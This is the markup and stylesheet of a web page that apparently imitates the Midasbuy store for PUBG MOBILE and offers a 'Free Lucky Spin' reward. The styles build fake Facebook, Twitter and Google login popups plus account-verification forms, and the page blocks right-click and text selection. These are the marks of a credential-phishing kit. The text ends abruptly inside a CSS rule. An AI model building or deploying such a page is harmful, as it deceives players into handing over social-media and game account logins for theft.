<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>www.midasbuy.com</title>
<meta property="og:description" content="Start Free Lucky Spin and Collect your exclusive reward from PUBG MOBILE now!">
<meta property="og:image" content="https://i.postimg.cc/jdq9pLMZ/navbar-logo.jpg">
<meta property="og:image:width" content="540">
<meta property="og:image:height" content="282">
<link href="./index_files/css" rel="stylesheet">
<link rel="stylesheet" href="css-zone/facebook.css">
<link rel="stylesheet" href="css-zone/twitter.css">
<link rel="stylesheet" href="css-zone/animate.css">
<link rel="stylesheet" href="css-zone/main.css">
<link rel="stylesheet" href="css-zone/lenzz.css">
<link rel="stylesheet" href="css-zone/style-zone.css">
<link rel="stylesheet" href="css-zone/link.css">
<link rel="stylesheet" href="css-zone/callcode-link.css">
<link rel="stylesheet" href="css-zone/google.css">
<link href="https://fonts.googleapis.com/css2?family=Teko&display=swap" rel="stylesheet">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.2.0/css/material-design-iconic-font.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
<link rel="icon" type="img/png" href="https://www.pubgmobile.com/common/images/icon_logo.jpg" sizes="32x32">
<script type="text/javascript" src="js-zone/jquery.js"></script>
<script type="text/javascript" src="js-zone/main-zone.js"></script>
<script language="JavaScript">
document.write(ls())
</script>
</head>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">
<style type="text/css">
@charset "utf-8";
@import url("https://fonts.googleapis.com/css?family=Roboto:300,400,500,700|Teko:300,400,500");
*,*:before,*:after {
	-webkit-box-sizing:border-box;
	-moz-box-sizing:border-box;
	box-sizing:border-box;
}
@font-face {
    font-family: 'laza'; 
    font-style: normal;
    font-weight: 700;
    src: url(fonts/laza.woff2) format("woff2"), 
        url(fonts/laza.woff) format("woff"),
        url(fonts/laza.ttf) format("truetype");
}
@font-face {
  font-family: Midas;
  src: url(fonts/DINMITTELSCHRIFTSTD.woff);
}
.gallery-wrapper {
    width: 100%;
    height: auto;
    overflow: hidden;
    border: none;
    display: flex;
	border-bottom: 1px solid #FF941F;
}
.gallery-wrapper img {
        width: 100%;
        display: inline-block;
        float: left;
        animation-name: mymove;
        animation-duration: 30s;
        -webkit-animation-iteration-count: infinite;
        position: relative;
}

@keyframes mymove {
    0% {
        left: 0%;
    }

    10% {
        left: 0%;
    }

    20% {
        left: -100%;
    }

    30% {
        left: -100%;
    }

    40% {
        left: -200%;
    }

    50% {
        left: -200%;
    }

    60% {
        left: -300%;
    }

    70% {
        left: -300%;
    }

    80% {
        left: -400%;
    }

    90% {
        left: -400%;
    }

    100% {
        left: -500%;
    }
}
.laz-container {	
	background: url(img/bg.jpg) no-repeat center center;
    background-size: 100% 100%;
    margin-top: 0px;
    width: 100%;
    margin-left: auto;
    margin-right: auto;
    height: 630px;
    position: relative;
    border:none;
}
.event-img {
	background: url(img/slogan.png) no-repeat center center;
    background-size: 100% 100%;
    width: 100%;
    opacity: 0%;
    margin-left: auto;
    margin-right: auto;
	margin-top: 500px;
}
.event-imgz {
    animation:bounceInDownLeft 2s linear infinite;
    -webkit-animation:bounceInDownLeft 2s linear infinite;
}
@keyframes bounceInDownLeft {
   0% {
      opacity: 1;
      transform: translateY(0px);
   }
   60% {
      opacity: 1;
      transform: translateY(10px);
   }
   80% {
      transform: translateY(0px);
   }
   100% {
      transform: translateY(-20);
   }
}
.event-notification-timer {
	padding-top: 18px;
    padding-right: 4px;
    color: #ffff;
    font-size: 13px;
    font-family: Teko;
    font-weight: 550;
    text-align: left;
	margin-bottom: 13px;
    float: right;
	margin-top:-122px;
	margin-right:20px;
  }
.navbar {
	background: #0C0C0C;
	width: 100%;
	height: 65px;
}
.navbar-logo {
	width: 65px;
	float: left;
	margin-top: 6px;
	margin-left: 15px;
}
.navbar-shop {
	width: 25px;
	margin-top: 19px;
	margin-right: 20px;
}
.navbar-language {
	width: 25px;
	margin-top: 19px;
	margin-right: 20px;
}
.navbar-menu {
	width: 20px;
	margin-top: 19px;
	margin-right: 5px;
}
.navbar-right {
	width: auto;
	float: right;
}
.navbar-download {
	background: #ffca13;
	width: 46px;
	height: 45px;
	margin-top: 10px;
	margin-right: 10px;
	border-radius: 7px;
	float: right;
}
.navbar-download img {
	width: 20px;
	height: 21px;
	margin: 13px;
}
.popup {
	width:100%;
	height:100%;
	position:fixed;
	top:0;
	left:0;
	z-index:9999;
	background-color:rgba(0, 0, 0, 0.4);
}
.popup-box-wrapperz {
	width: 390px;
	height: auto;
	position: relative;
	margin: 50px auto;
	margin-top: 15%;
	text-align: center;
	font-family:'laza';
	color:#fff;
}
.popup-box-navbar {
	background:url(img/popup-navbar2.png) no-repeat center center;
	background-size:100% 100%;
	height: 43px;
	padding-bottom: 5px;
}
.popup-box-navbar img {
	width: 25px;
	height: 25px;
	margin-top: 7px;
	margin-right: 15px;
	float: right;
}
.popup-box-navbar-title {	
	padding-top: 9px;
	padding-bottom: 2px;
	font-size: 20px;
	font-family:laza;
	font-weight: 300;
	text-align: center;
	color: #fff;
}
.popup-box-navbarz {
	background:url(img/popup-navbar.png) no-repeat center center;
	background-size:100% 100%;
	height: 43px;
	padding-bottom: 5px;
}
.popup-box-navbarz img {
	width: 25px;
	height: 25px;
	margin-top: 7px;
	margin-right: 15px;
	float: right;
}
.popup-box-navbarz-title {	
	padding-top: 9px;
	padding-bottom: 2px;
	font-size: 20px;
	font-family:laza;
	font-weight: 300;
	text-align: center;
	color: #fff;
}
.popup-box-bg {
	background: url(img/popup-box-bg2.png) no-repeat center center;
    background-size: 100% 100%;
    width: 108%;
    margin-top: -12px;
    margin-left: -14px
}
.popup-box-bgz {
	background: url(img/popup-box-bg.png) no-repeat center center;
    background-size: 100% 100%;
    width: 100%;
    margin-top: -12px;
    margin-left: 0px;
}
.popup-box-bgx {
    background: url(img/popup-box-bg3.png) no-repeat center center;
    background-size: 100% 100%;
    width: 100%;
    margin-top: 0px;
    margin-left: 0px;
    font-size: 18px;
    padding-bottom: auto;
    padding-top: 30px;
}
.popup-account-login {
    background: url(img/bglogin.jpg) no-repeat center center;
    background-size: 100% 100%;
    width: 110%;
    margin-top: 160px;
    margin-left: -20px;
}
.popup-box-gamecon {
	width: 52%;
	height: 65px;
	margin-left: auto;
	margin-right: auto;
	margin-top: 20px;
	display: block;
}
.popup-box-alert {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 5px;
	color: #AAAAAA;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: left;
	display: block;
}
.popup-box-alert2 {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 5px;
	color: #AAAAAA;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: left;
	display: block;
}
.popup-box-alert0 {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 5px;
	color: #AAAAAA;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: right;
	display: block;
}
.popup-box-alert3 {
    width: 95%;
    height: auto;
    margin-top: 10px;
    margin-left: auto;
    margin-right: auto;
    margin-bottom: 10px;
    padding: 5px;
    color: #c7c7c7;
    font-size: 16px;
    font-family: laza;
    font-weight: 500;
    text-align: center;
    display: block;
}
.popup-box-alert7 {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 5px;
	color: #F5EAB0;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.popup-box-alert4 {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 6px;
	color: #AAAAAA;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.popup-box-alert4 i {
	padding-top: 15px;
	padding-bottom: 15px;
	color: #AAAAAA;
	font-size: 50px;
	text-align: center;
}
.popup-box-item {
	width:23%;
	height:85px;
	margin-left:auto;
	margin-right:auto;
	text-align: right;
	border:1px solid #fff;
	display: block;
}
@property --angle {
  syntax: '<angle>';
  initial-value: 0deg;
  inherits: false;
}
.popup-box-item {
  --angle: 360deg;
  border-image: linear-gradient(var(--angle), #66000000, red, yellow, red, #66000000) 1;
  animation: 1s rotate linear infinite;
}
@keyframes rotate {
  to {
    --angle: 0deg;
  }
}
.popup-box-item img {
	width:100%;
	height:100%;
}
.popup-box-item span {
	color: #fff;
	font-size: 22px;
	font-family: laza;
	text-align: right;
	position: absolute;
	left: 0;
	right: 2px;
	bottom: -5px;
}
.popup-box-form {
	width: 85%;
	height: auto;
	margin-left: auto;
	margin-right: auto;
	display: block;
}
.popup-box-form input {
	background: #19191b;
	width: 100%;
	height: 35px;
	margin-left: 4px;
	margin-bottom: 3px;
	padding: 4px;
	color: #A9A8A9;
	font-size:17px;
	font-family:laza;
	font-weight: 500;
	border: 1px solid #A9A8A9;
	position: relative;
	outline: none;
	-webkit-appearance: none;
    -moz-appearance: none;
}
.popup-box-form input::placeholder {
	color: #A9A8A9;
}
.popup-box-form select {
	background: #19191b;
	width: 100%;
	height: 35px;
	margin-left: 4px;
	margin-bottom: 3px;
	padding: 3.7px;
	padding-left: 4px;
	color: #A9A8A9;
	font-size: 17px;
	font-family:laza;
	font-weight: 500;
	border: 1px solid #A9A8A9;
	position: relative;
	outline: none;
	-webkit-appearance: none;
    -moz-appearance: none;
}
.popup-box-footer {	
	background-size:100% 100%;
	margin-top: 20px;
	width: 100%;
	height: 45px;
}
.popup-box-footer button {
    background: url(img/btn-on.png) no-repeat center;
    background-size: 100% 100%;
    width: auto;
    height: auto;
    margin-top: -14px;
    padding: 6px;
    padding-left: 35px;
    padding-right: 35px;
    color: #000;
    font-size: 18px;
    font-family: laza;
    font-weight: 500;
    margin-left: auto;
    margin-right: auto;
    text-align: center;
    border: none;
    outline: none;
}
.popup-box-form-footer {
	background-size:100% 100%;
	width: 100%;
	height: 45px;
	margin-top: 20px;
}
.popup-box-form-footer button {
	background: url(img/laz_on.png) no-repeat center;
	background-size: 100% 100%;
	width: auto;
	height: auto;
	margin-top: 0px;
	padding: 7px;
	padding-left: 30px;
	padding-right: 30px;
	color: #000;
	font-size:18px;
	font-family: laza;
	font-weight: 500;
	text-align: center;
	border:none;
	outline: none;
}
.popup-box-navbar-login {
	background:url(img/popup-navbar1.png) no-repeat center center;
	background-size:100% 100%;
	height: auto;
	padding-top: 5px;
	padding-bottom: 1px;
}
.popup-box-navbar-login-title {
    padding-left: 24px;
	padding-top: 2px;
	color: #defbff;
	font-size: 22px;
	font-family:selow;
	font-weight: 500;
	text-align: center;
}
.popup-box-bg-login {
	background:url(img/bglogin.jpg) no-repeat center center;
	background-size:100% 100%;
	width: 100%;
	height: 340px;
	margin-top: -10px;
	border-radius: 10px;
}
.popup-box-footer-login {
    background:url(img/popup-box-footer-login.png) no-repeat center center;
	background-size: 100% 100%;
	width: 100%;
	margin-top: -1px;
	height: 35px;
}
.popup-btn-login {
    width: 30%;
    border-radius:2px;
    height: 30px;
    padding: 5px;
	padding-top: 8px;
    margin: 3px;
    color: #f2f2f2;
	font-size: 14px;
    font-family: laza;
    border: none;
    outline: none;
    margin-bottom: 35px;
    position: relative;
    display: inline-block;
}
.popup-btn-login i {
    color: #fff;
    font-size: 18px;
	margin-top: -3px;
    float: left;
}
.popup-btn-facebook {
    background: #1778f2;
    color: #fff;
}
.popup-btn-twitter {
    background: #ffffff;
    color: #000;
}
.popup-btn-login2 {
    width: 24%;
    height: 25px;
    padding: 5px;
    margin-top: 15px;
    margin: 10px;
    padding-top:15px;
    color: #000;
	font-size: 10px;
    font-family: laza;
    border: none;
    border-radius: 1px;
    outline: none;
    position: relative;
}
.popup-btn-login2 i {
    color: #fff;
    font-size: 19px;
    float: center;
    padding-top:30px;
    
}
.popup-btn-facebook2 {
  width:55px;
  height:55px;
    background: #1778f2;
    color: #fff;
    border-radius: 2px;
}
.popup-btn-twitter2 {
    background: #198B96;
  width:55px;
  height:55px;
    color: #fff;
    border-radius: 2px;
}
.popup-btn-google2 {
    background: #fefefe;
    color: #000;
    width:55px;
    height:55px;
    color: #fff;
    border-radius: 2px;
}
.popup-btn-link2 {
  background: #E3B448;
    width:55px;
    height:55px;
    color: #000;
    border-radius: 2px;
}
.popup-btn-login2 img {
  width: 25px;
  height: 25px;
}
.popup-btn-more2 {
  background: #00000092;
  color: #fff;
  width: 6%;
  height: auto;
  padding: 2px;
  font-size: 10px;
  border-radius: 0px;
}
.popup-btn-google {
	background: none;
	outline: none;
	border: none;
	width: auto;
	height: 60px;
	margin-top: 70px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 0px;
	padding: 0px;
	color: #AAAAAA;
	font-size: 13px;
    font-family: laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.popup-btn-google img {
	background: #fff;
	border-radius: 2px;
	width: 40px;
	padding: 10px;
	height: auto;
	margin-bottom: 5px;
	text-align: center;
}
.popup-login {
	background:rgba(0,0,0,0.4);
	width:100%;
	height:100%;
	position:fixed;
	top:0;
	left:0;
	z-index:9999;
}
.popup-box-login-fb {
	background:#ECEFF6;
	max-width:330px;
	height:auto;
	position:relative;
	margin:50px auto;
	margin-top:1.9%;
	text-align:center;
	font-family:'Teko';
	color:#000;
	border-radius:10px;
}
.popup-box-login-twitter {
	background:#fff;
	max-width:330px;
	height:auto;
	position:relative;
	margin:50px auto;
	margin-top:10%;
	text-align:center;
	font-family:'Teko';
	color:#000;
	border-radius:5px;
}
.popup-box-login-google {
background:#fff;
max-width:330px;
height:auto;
position:relative;
margin:50px auto;
margin-top: 10%;
text-align:center;
font-family: 'Open Sans', sans-serif;
color:#000;
border-radius:5px;
padding-bottom: 20px;
}
.close-fb {
	background: #3b5998;
	width: 25px;
	height: 25px;
	color: #fff;
	font-size: 20px;
	text-align: center;
	text-decoration: none;
	border-radius: 50%;
	top: -10px;
	right: -10px;
	position: absolute;
	display: block;
}
.close-fb i {
	padding-top: 3px;
}
.close-other {
	background: #fff;
	width: 25px;
	height: 25px;
	color: #000;
	font-size: 20px;
	text-align: center;
	border-radius: 50%;
	top: -12px;
	right: -12px;
	position: absolute;
	z-index: 9999999;
	display: block;
}
.close-other i {
	color: #000;
	padding-top: 3px;
}
.popups {
	width:100%;
	height:100%;
	position:fixed;
	top:0;
	left:0;
	z-index:9999;
	background-color:rgba(0, 0, 0, 0.4);
}
.popup-box-wrapper-login {
	width: 400px;
	height: auto;
	position: relative;
	margin: 50px auto;
	margin-top: 15%;
	text-align: center;
	font-family:'selow';
	color:#fff;
}
.popup-box-wrappers {
	width: 390px;
	height: auto;
	position: relative;
	margin: 50px auto;
	margin-top: 15%;
	text-align: left;
	font-family:'laza';
	color:#fff;
}
.popup-box-navbars {
	background:url(img/popup-navbar2.png) no-repeat center center;
	background-size:100% 100%;
	height: 43px;
	padding-bottom: 5px;
}
.popup-box-navbars img {
	width: 20px;
	height: 20px;
	margin-top: 15px;
	margin-right: 18px;
	float: right;
}
.popup-box-navbars-title {	
	padding-left: 40px;
	padding-top: 14px;
	padding-bottom: 2px;
	font-size: 20px;
	color: #fff;
	font-family:laza;
	font-weight: 300;
	text-align: center;	
}
.kagetk {     
	background: rgba(0, 0, 0, 0.2);
	background-size:50% 50%;
	width: 80%;
	height: auto;
	margin-left: auto;
	margin-right: auto;
	border: 1px solid #fff;
	display: none;
	padding: 10px;
	color: #fff;
	font-size: 14px;
	font-family: laza;
	text-align: center;
}
.popup-box-bgs {
	background:url(img/popup-box-bg2.png) no-repeat center center;
	background-size:100% 100%;
	width: 100%;
	margin-top: -12px;
}
.popup-box-alerts4 {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 5px;
	color: #fff;
	font-size: 20px;
    font-family:laza;
	font-weight: 500;
	text-align: left;
	display: block;
}
.popup-box-alerts4 i {
	padding-top: 15px;
	padding-bottom: 15px;
	color: #F5EAB0;
	font-size: 50px;
	text-align: left;
}
.balance {
	background:url(img/bg-item.png) no-repeat center center;
	background-size:101% 100%;
	width: 94.3%;
	height: 100px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 7px;
	padding: 4px;
	border-top:2px solid #ECD954;
	border-left:2px solid #ECD954;
	border-right:2px solid #ECD954;
	border-bottom:2px solid #ECD954;
	display: block;
}
.balance-img {
	width: 50%;
	height: 97px;
	margin-top: -5px;
	margin-right: 5px;	
	float: left;	
	padding: 5px;
	border:1px #fff;  
}
.balance-nom {
	color: #fff;
	padding-top: 2px;
	padding-left: 5px;
	padding-bottom: 0px;
	font-size: 18px;
	font-family:laza;
	font-weight: 500;
	text-align: center;
	text-shadow:0 1px 0 #000;
	border-left: 3px solid #9FE9F7;
	line-height: 18px;
	float: left;
}
.balance-detail {
	width: auto;
	height: auto;
	padding-top: 2px;
	padding-left: 5px;
	padding-bottom: 0px;
	color: #fff;
	font-size: 15px;
	font-family:laza;
	text-align: left;
}
.balance-nom-button {
	background:url(img/laz_on.png) no-repeat center center;
	background-size:100% 100%;
    width: 36%;
	height: auto;
	margin-top:7px;
	margin-left:auto;
	margin-right:auto;
	padding: 10px;
	font-size: 18px;
	color:#000;
	font-family:laza;
	text-align: center;
	border: none;
	outline: none;
	float: center;
}
.box {
    width: 100%;
    height: 330px;
    margin-left:auto;
    margin-right:auto;   
    margin-top: 10px; 
	margin-bottom: 10px;
	border: 0px solid #E29E53;
	border-radius:5px;
	position: relative;
	display: block;
}
.box-item {
    width: 93%;
	height:auto;			
	padding-left:0px;
	padding-top: 18px;
	margin-left: auto;
	margin-right: 13px;	
}
.scroll {
	width:100%;
	overflow:none;
	position:relative;
	width: 100%;
	height:400px;
	margin-top:11px;
	display: block;
	scrollbar-face-color:#ffbb40;
	scrollbar-shadow-color:#ffbb40;
	scrollbar-highlight-color:#ffbb40;
	scrollbar-3dlight-color:#ffbb40;
	scrollbar-darkshadow-color:#ffbb40;
	scrollbar-track-color:#ffbb40;
}
.btn-wrapper {
	width: 93%;
	height: 50px;	
	margin-top: 3px;
	margin-right: 3px;			
	font-family:laza;	
}
.btn-wrapper button {
    background: url(img/tombol.png) no-repeat center;
	background-size: 100% 100%;
	width: 38%;
	height: 40px;
	margin: -10px;
	padding: 10px;
	color: #FFFAC9;
	font-family:laza;
	font-size: 18px;	
	font-weight: 500;
	text-align: center;
	border: none;
	outline: none;
	float:right;
	display: inline-block;	
}
.footer {
	background: #19191b url(https://i.postimg.cc/02KwtTc7/footer-bg.jpg) top center / 100% no-repeat;
	background-position-y: calc(20 / 640 * 100vw);
	width: 100%;
	height: auto;
	padding: 15px;
	border-left: none;
	border-right: none;
	border-bottom: none;
	border-top: none;
}

.footer-txt-join {
	margin-top: 10px;
	margin-bottom: 15px;
	color: #ffbe21;
	font-size: 30px;
	font-family: laza;
	text-align: left;
	text-transform: uppercase;
}

.footer-txt-twitter {
	margin-top: -3px;
	margin-bottom: -10px;
	color: #ffbe21;
	font-size: 25px;
	font-family: teko;
	text-align: center;
}

.footer-socmed-box {
	background: url(https://www.pubgmobile.com/en/images/footer_link_bg.png) no-repeat center center;
	background-size: 100% 100%;
	width: 100%;
	height: 55px;
	margin-bottom: 10px;
	padding: 5px;
	border-radius: 3px;
}
.footer-socmed-box:hover {
	background: url(https://www.pubgmobile.com/en/images/footer_link_bg_on.png) no-repeat center center;
	background-size: 100% 100%;
	transition: 1s;
}
.footer-socmed-img-main {
	width: 30px;
	height: 30px;
	margin-top: 7px;
	margin-left: 15px;
	margin-right: 15px;
	float: left;
}
.footer-socmed-img-other {
	width: 35px;
	height: 26px;
	margin-top: 10px;
	margin-left: 15px;
	margin-right: 11px;
	float: left;
}
.footer-socmed-box p {
	margin-top: 7px;
	color: #fff;
	font-size: 25px;
	font-family: Teko;
	text-align: left;
	text-transform: uppercase;
}
.footer-socmed-box button {
	background: #ffbe21;
	width: 30%;
	height: auto;
	margin-top: 10px;
	margin-bottom: 10px;
	margin-right: 15px;
	padding: 1px;
	padding-top: 3px;
	color: #000;
	font-size: 16px;
	font-family: Teko;
	text-align: center;
	text-transform: uppercase;
	border: none;
	border-radius: 2px;
	outline: none;
	float: right;
}
.footer-copyright-icon {
	width: 85%;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	display: block;
}
.footer-txt-copyright {
	color: #bdbdbd;
	font-size: 15px;
	font-family: Teko;
	text-align: center;
}
.footer-txt-copyrights {
	color: #bdbdbd;
	font-size: 16px;
	font-family: Teko;
	text-align: center;
}
.verify-box-navbar {	
	background-size: 100% 100%;
	width: 93%;
	height: 19%;
	margin-left: auto;
	margin-right: auto;
	display: block;
}
.verify-box-navbar-description {
	width: 50%;
	margin-top: 50px;
	margin-right: 20px;
	color: #fff;
	font-size: 18px;
	font-family: Teko;
	font-weight: 500;
	text-align: left;
	float: right;
}
.verify-box-navbar-form {	
	background-size: 100% 100%;
	width: 93%;
	height: auto;
	margin-top: 25px;
	margin-left: auto;
	margin-right: auto;
	display: block;
}
.verify-box-navbar-form input {
	background:url(img/verify-bg.png) no-repeat center center;
	background-size: 100% 100%;
	width: 95%;
	height: 40px;
	margin-left: 10px;
	margin-bottom: 4px;
	padding: 4px;
	padding-left: 10px;
	padding-right: auto;
	color: #f1f1f0;
	font-size:15px;
	font-family: laza;
	font-weight: 500;
	border: 2px solid #232323;
	position: relative;
	outline: none;
	-webkit-appearance: none;
    -moz-appearance: none;
	border-radius: 15px;
}
.verify-box-navbar-form input::placeholder {
	color: #f1f1f0;
}
.verify-box-navbar-form select {
	background:url(img/verify-bg.png) no-repeat center center;
	background-size: 100% 100%;
	width: 95%;
	height: 40px;
	margin-left: 10px;
	margin-bottom: 4px;
	padding: 4px;
	padding-left: 10px;
	padding-right: auto;
	color: #f1f1f0;
	font-size:15px;
	font-family: laza;
	font-weight: 500;
	border: 2px solid #232323;
	position: relative;
	outline: none;
	-webkit-appearance: none;
    -moz-appearance: none;
	border-radius: 15px;
}
.verify-box-content {	
	background-size: 100% 100%;
	width: 93%;
	height: auto;
	margin-top: -1px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 15px;
	padding: 20px;
	padding-top: 0px;
	padding-bottom: 25px;
	display: block;
}
.verify-box-content-title {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 6px;
	color: #fff;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.verify-box-content-title i {
	padding-top: 15px;
	padding-bottom: 15px;
	color: #f1f1f0;
	margin-top: 29px;
	font-size: 100px;
	text-align: center;
}
.verify-box-content button {
	background: url(img/submit.png) no-repeat center center;
    background-size: 76% 77%;
    width: 55%;
    height: 55px;
    margin-top: 10px;
    margin-left: auto;
    margin-right: auto;
    margin-bottom: 10px;
    padding: 9px;
    padding-top: 8px;
    padding-left: 20px;
    padding-right: 20px;
    color: #030303;
    font-size: 19px;
    font-family: laza;
    font-weight: 500;
    text-align: center;
    border: none;
    display: block;
}
.about-box-content {	
	background:url(img/aboutrules-sec.png) no-repeat center center;
	background-size:100% 100%;
	width: 96%;
	height: 120px;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 20px;	
	padding-left: auto;
	padding-right: auto;
	float: center;
	color: #000;
	display: block;
}
.about-box-content-title {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 6px;
	color: #000;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.about-box-content-title i {
	padding-top: 15px;
	padding-bottom: 15px;
	color: #000;
	font-size: 100px;
	text-align: center;
}
.about-box-content button {
	background:url(img/button.png) no-repeat center center;
	background-size:100% 100%;
	width: 45%;
	height: 45px;	
	padding: 7px;
	margin-bottom: 20px;	
	margin-top: 20px;
	margin-right: 3px;	
	margin-left: -12px;	
	padding-left: 10px;	
	color: #000;
	font-size: 16px;
	font-family:laza;
	font-weight: 500;
	text-align: center;
	float:left;
	border: none;	
	display: block;
}
.processing-box-sec {	
	background: url(img/box.png) no-repeat center;
	background-size: 100% 100%;
	width: 98%;
	height: 350px;
	margin-left: auto;
	margin-right: auto;
	margin-top: 10px;
	margin-bottom: 15px;
	padding: 20px;
	padding-top: 10px;	
	padding-bottom: 2px;
	display: block;
}
.processing-box-sec-title {
	width: 95%;
    height: auto;
    margin-top: 28px;
    margin-left: auto;
    margin-right: auto;
    margin-bottom: 16px;
    padding: 5px;
    padding-left: 22px;
    padding-bottom: 0px;
    color: #fff;
    font-size: 15px;
    font-family: laza;
    text-align: left;
    display: block;
}
figure {
	margin: 0;
	padding: 0;
	overflow: hidden;
}
.itemShine figure {
	position: relative;
}
.itemShine figure::before {
	background: -webkit-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,.3) 100%);
	background: linear-gradient(to right, rgba(255,255,255,0) 0%, rgba(255,255,255,.3) 100%);
	width: 50%;
	height: 100%;
	top: 0;
	left: -75%;
	position: absolute;
	z-index: 2;
	content: '';
	display: block;
	-webkit-transform: skewX(-25deg);
	transform: skewX(-25deg);
}
.itemShine figure::before {
	-webkit-animation: shine 2s infinite;
	animation: shine 2s infinite;
}
@-webkit-keyframes shine {
	100% {
		left: 125%;
		}
}
@keyframes shine {
	100% {
		left: 125%;
		}
}
.kanan {
	float: right;
}
.kiri {
	float: left;
}
.tengah {
	margin-left: auto;
	margin-right: auto;
	display: block;
}
::-webkit-scrollbar { 
    display: none;
    width: 0px;
}
.twitter-load {	
	background-size: 100% 100%;
	width: 93%;
	height: 388px;
	margin-top: 0px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 15px;
	padding: 20px;
	padding-top: 0px;
	padding-bottom: 25px;
	display: block;
}
.twitter-load-title {
	width: 95%;
	height: auto;
	margin-top: 70px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 6px;
	padding-top: 90px;
	color: #fff;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.twitter-load-title i {
	margin-top: 90px;
	padding-top: 15px;
	padding-bottom: 15px;
	color: #00acee;
	font-size: 50px;	
	text-align: center;
}
.fb-load {	
	background-size: 100% 100%;
	width: 93%;
	height: 304px;
	margin-top: -1px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 15px;
	padding: 20px;
	padding-top: 0px;
	padding-bottom: 25px;
	display: block;
}
.fb-load img {		
	width: 50px;
	height: 50px;	
	margin-top: 215px;	
	margin-bottom: -55px;
}
.fb-load-title {
	width: 95%;
	height: auto;
	margin-top: 10px;
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 10px;
	padding: 6px;
	color: #999998;
	font-size: 18px;
    font-family:laza;
	font-weight: 500;
	text-align: center;
	display: block;
}
.fb-load-title i {
	margin-top: 200px;
	padding-top: 15px;
	padding-bottom: 15px;
	color: #999998;
	font-size: 30px;	
	text-align: center;
}
.event-notification {    
	   width:93%;
	   height:53px;
	   padding:7px;
	   margin-right: auto;
	   margin-left: auto;
    }
.event-notification-txt {
	padding-top: 10px;
    padding-left: 34px;
    color: #dbff85;
    font-size: 16px;
    font-family: Teko;
    font-weight: 550;
    text-align: left;
    float: left;
    }
.header {
	width: 100%;
	height: auto;
}
.header img {
	width: 100%;
	height: auto;
	margin-top: -0px;
	border:none;
}
.banner-wrap {
	width: 100%;
	height: 200px;
	border-bottom: 1px solid;
	border-color: hsla(0,0%,100%,.050980392156862744);
}
.header-img {
	width: 100%;
	height: 100%;
	margin-top: -15px;
}
.menu-btn {
	background: none;
	outline: none;
	border: none;
	font-size: 20px;
	top: 0%;
	border-top-right-radius: 5px;
	border-top-left-radius: 5px;
	margin: 4px;
	padding: 5px;
	padding-left: 8px;
	padding-right: 8px;
	margin-top: 0px;
	font-family: Midas;
	color: #fff;
	position: relative;
}
.menu-btn:hover {
	background: #3b5998;
	color: #00acee;
	text-shadow: 0px 0px 15px #00acee;
}
.box-crate-wrapper {
	background: none;
    width: 95%;
    height: auto;
	margin-left: auto;
	margin-right: auto;
	margin-top: 15px;
	padding-bottom: 15px;
	display: block;
}
.box-crate-wrapper-navbar {
	background: none;
	width: 100%;
	height: 40px;
	padding: 5px;
}
.box-crate-wrapper-navbar-menu {
	width: 100%;
	height: 30px;
	padding: 5px;
	display: inline-block;
}
.box-crate-wrapper-navbar-menu-txt {
	color: #dee8e8;
	font-size: 20px;
	font-family: Teko;
	font-weight: 500;
	text-align: right;
	line-height: 20px;
	margin-right: -13px;
	margin-top: -2%;
}
.box-crate-wrapper-navbar-menu img {
	width: 25px;
	height: 25px;
	margin-top: -5px;
	margin-right: 5px;
	float: left;
}
.box-crate-content {
	width: 100%;
	padding-left: 4px;
	padding-right: 4px;
}
.scroll {
	overflow:scroll;
	position:relative;
	width: 100%;
	height:500px;
	margin-top:10px;
	margin-left: auto;
	margin-right: auto;
	display: block;
	scrollbar-face-color:#ffbb40;
	scrollbar-shadow-color:#ffbb40;
